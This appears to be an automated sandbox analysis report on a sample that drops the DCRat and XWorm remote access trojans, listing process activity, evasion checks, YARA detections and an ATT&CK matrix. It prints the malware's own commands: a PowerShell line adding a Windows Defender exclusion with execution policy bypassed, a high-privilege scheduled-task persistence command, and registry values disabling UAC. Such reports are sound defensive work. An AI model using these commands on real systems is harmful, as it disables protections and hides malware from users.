Source: C:\Users\user\cmd.exe TID: 7372	Thread sleep count: 363 > 30
Source: C:\Users\user\cmd.exe TID: 7328	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\cmd.exe TID: 7464	Thread sleep count: 364 > 30
Source: C:\Users\user\cmd.exe TID: 7852	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe TID: 6816	Thread sleep count: 361 > 30
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe TID: 7324	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe TID: 2376	Thread sleep count: 367 > 30
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe TID: 7480	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe TID: 1544	Thread sleep count: 366 > 30
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe TID: 8076	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe TID: 2624	Thread sleep count: 337 > 30
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe TID: 1876	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\cmd.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\cmd.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F0A5F4 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	3_2_00F0A5F4
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F1B8E0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	3_2_00F1B8E0
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F2AAA8 FindFirstFileExA,	3_2_00F2AAA8

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 3_2_00F1DD72 VirtualQuery,GetSystemInfo,

3_2_00F1DD72

Source: C:\Users\user\Desktop\cougif6lqM.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\cmd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\cmd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Thread delayed: delay time: 922337203685477

Source: DCRatBuild.exe, 00000003.00000003.1332983655.0000000003080000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wscript.exe, 00000004.00000003.1337275179.0000000000778000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}$
Source: javaclient.exe, 00000002.00000002.3771177110.000000001BFD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

API call chain: ExitProcess graph end node

graph_3-24384

Source: C:\Componenthost\providerreviewdhcp.exe

Process information queried: ProcessInformation

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 3_2_00F2866F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

3_2_00F2866F

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 3_2_00F2753D mov eax, dword ptr fs:[00000030h]

3_2_00F2753D

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 3_2_00F2B710 GetProcessHeap,

3_2_00F2B710

Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\cmd.exe	Process token adjusted: Debug
Source: C:\Users\user\cmd.exe	Process token adjusted: Debug
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process token adjusted: Debug
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Process token adjusted: Debug
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process token adjusted: Debug
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F1F063 SetUnhandledExceptionFilter,	3_2_00F1F063
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F1F22B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00F1F22B
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F2866F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00F2866F
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F1EF05 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00F1EF05

Source: C:\Users\user\Desktop\cougif6lqM.exe

Memory allocated: page read and write | page guard

Adds a directory exclusion to Windows Defender

HIPS / PFW / Operating System Protection Evasion

Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\javaclient.exe'
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\javaclient.exe'			Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Users\user\AppData\Local\Temp\javaclient.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\javaclient.exe'

Source: C:\Users\user\Desktop\cougif6lqM.exe	Process created: C:\Users\user\AppData\Local\Temp\javaclient.exe "C:\Users\user\AppData\Local\Temp\javaclient.exe"	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Process created: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe "C:\Users\user\AppData\Local\Temp\DCRatBuild.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\javaclient.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "hvxmowIikyCfRrhhAMpWFavmEnuKtLh" /sc MINUTE /mo 11 /tr "'C:\Componenthost\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe'" /rl HIGHEST /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Componenthost\aZjsojBpBtPKe.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Componenthost\N1me8mpFe7zJQMouCBhkn06ZkahUl.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Componenthost\providerreviewdhcp.exe "C:\Componenthost\providerreviewdhcp.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\8o9UezPTg6.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 3_2_00F1ED5B cpuid

3_2_00F1ED5B

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: GetLocaleInfoW,GetNumberFormatW,

3_2_00F1A63C

Source: C:\Users\user\Desktop\cougif6lqM.exe	Queries volume information: C:\Users\user\Desktop\cougif6lqM.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\javaclient.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Queries volume information: C:\Componenthost\providerreviewdhcp.exe VolumeInformation	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Users\user\cmd.exe	Queries volume information: C:\Users\user\cmd.exe VolumeInformation
Source: C:\Users\user\cmd.exe	Queries volume information: C:\Users\user\cmd.exe VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Queries volume information: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Queries volume information: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe VolumeInformation
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Queries volume information: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe VolumeInformation
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Queries volume information: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 3_2_00F1D5D4 GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,

3_2_00F1D5D4

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 3_2_00F0ACF5 GetVersionExW,

3_2_00F0ACF5

Source: C:\Users\user\Desktop\cougif6lqM.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Disable UAC(promptonsecuredesktop)

Lowering of HIPS / PFW / Operating System Security Settings

Source: C:\Componenthost\providerreviewdhcp.exe

Registry value created: PromptOnSecureDesktop 0

Disables UAC (registry)

Source: C:\Componenthost\providerreviewdhcp.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA

Source: javaclient.exe, 00000002.00000002.3771177110.000000001C07C000.00000004.00000020.00020000.00000000.sdmp, javaclient.exe, 00000002.00000002.3752340914.000000000147C000.00000004.00000020.00020000.00000000.sdmp, javaclient.exe, 00000002.00000002.3771177110.000000001BFD0000.00000004.00000020.00020000.00000000.sdmp, javaclient.exe, 00000002.00000002.3752340914.0000000001546000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: javaclient.exe, 00000002.00000002.3771177110.000000001C067000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 00000028.00000002.1513471393.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.1517396761.0000000003371000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.1513885055.0000000003111000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1383062846.0000000002EDE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.1513885055.000000000312D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.1518454359.0000000002771000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.1505051021.0000000002481000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1383062846.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.1513471393.0000000002DCF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.1482114467.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1384672432.0000000012BEF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: providerreviewdhcp.exe PID: 7552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cmd.exe PID: 7200, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cmd.exe PID: 1688, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe PID: 7628, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe PID: 7312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Memory Compression.exe PID: 7908, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Memory Compression.exe PID: 7984, type: MEMORYSTR

Yara detected XWorm

Source: Yara match	File source: 2.0.javaclient.exe.ec0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000000.1327658991.0000000000EC2000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: javaclient.exe PID: 7396, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\javaclient.exe, type: DROPPED

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 00000028.00000002.1513471393.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.1517396761.0000000003371000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.1513885055.0000000003111000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1383062846.0000000002EDE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.1513885055.000000000312D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.1518454359.0000000002771000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.1505051021.0000000002481000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1383062846.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.1513471393.0000000002DCF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.1482114467.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1384672432.0000000012BEF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: providerreviewdhcp.exe PID: 7552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cmd.exe PID: 7200, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cmd.exe PID: 1688, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe PID: 7628, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe PID: 7312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Memory Compression.exe PID: 7908, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Memory Compression.exe PID: 7984, type: MEMORYSTR

Yara detected XWorm

Source: Yara match	File source: 2.0.javaclient.exe.ec0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000000.1327658991.0000000000EC2000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: javaclient.exe PID: 7396, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\javaclient.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	211 Windows Management Instrumentation	11 Scripting	1 DLL Side-Loading	21 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	11 Process Injection	3 Obfuscated Files or Information	Security Account Manager	37 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	21 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	24 Software Packing	NTDS	241 Security Software Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
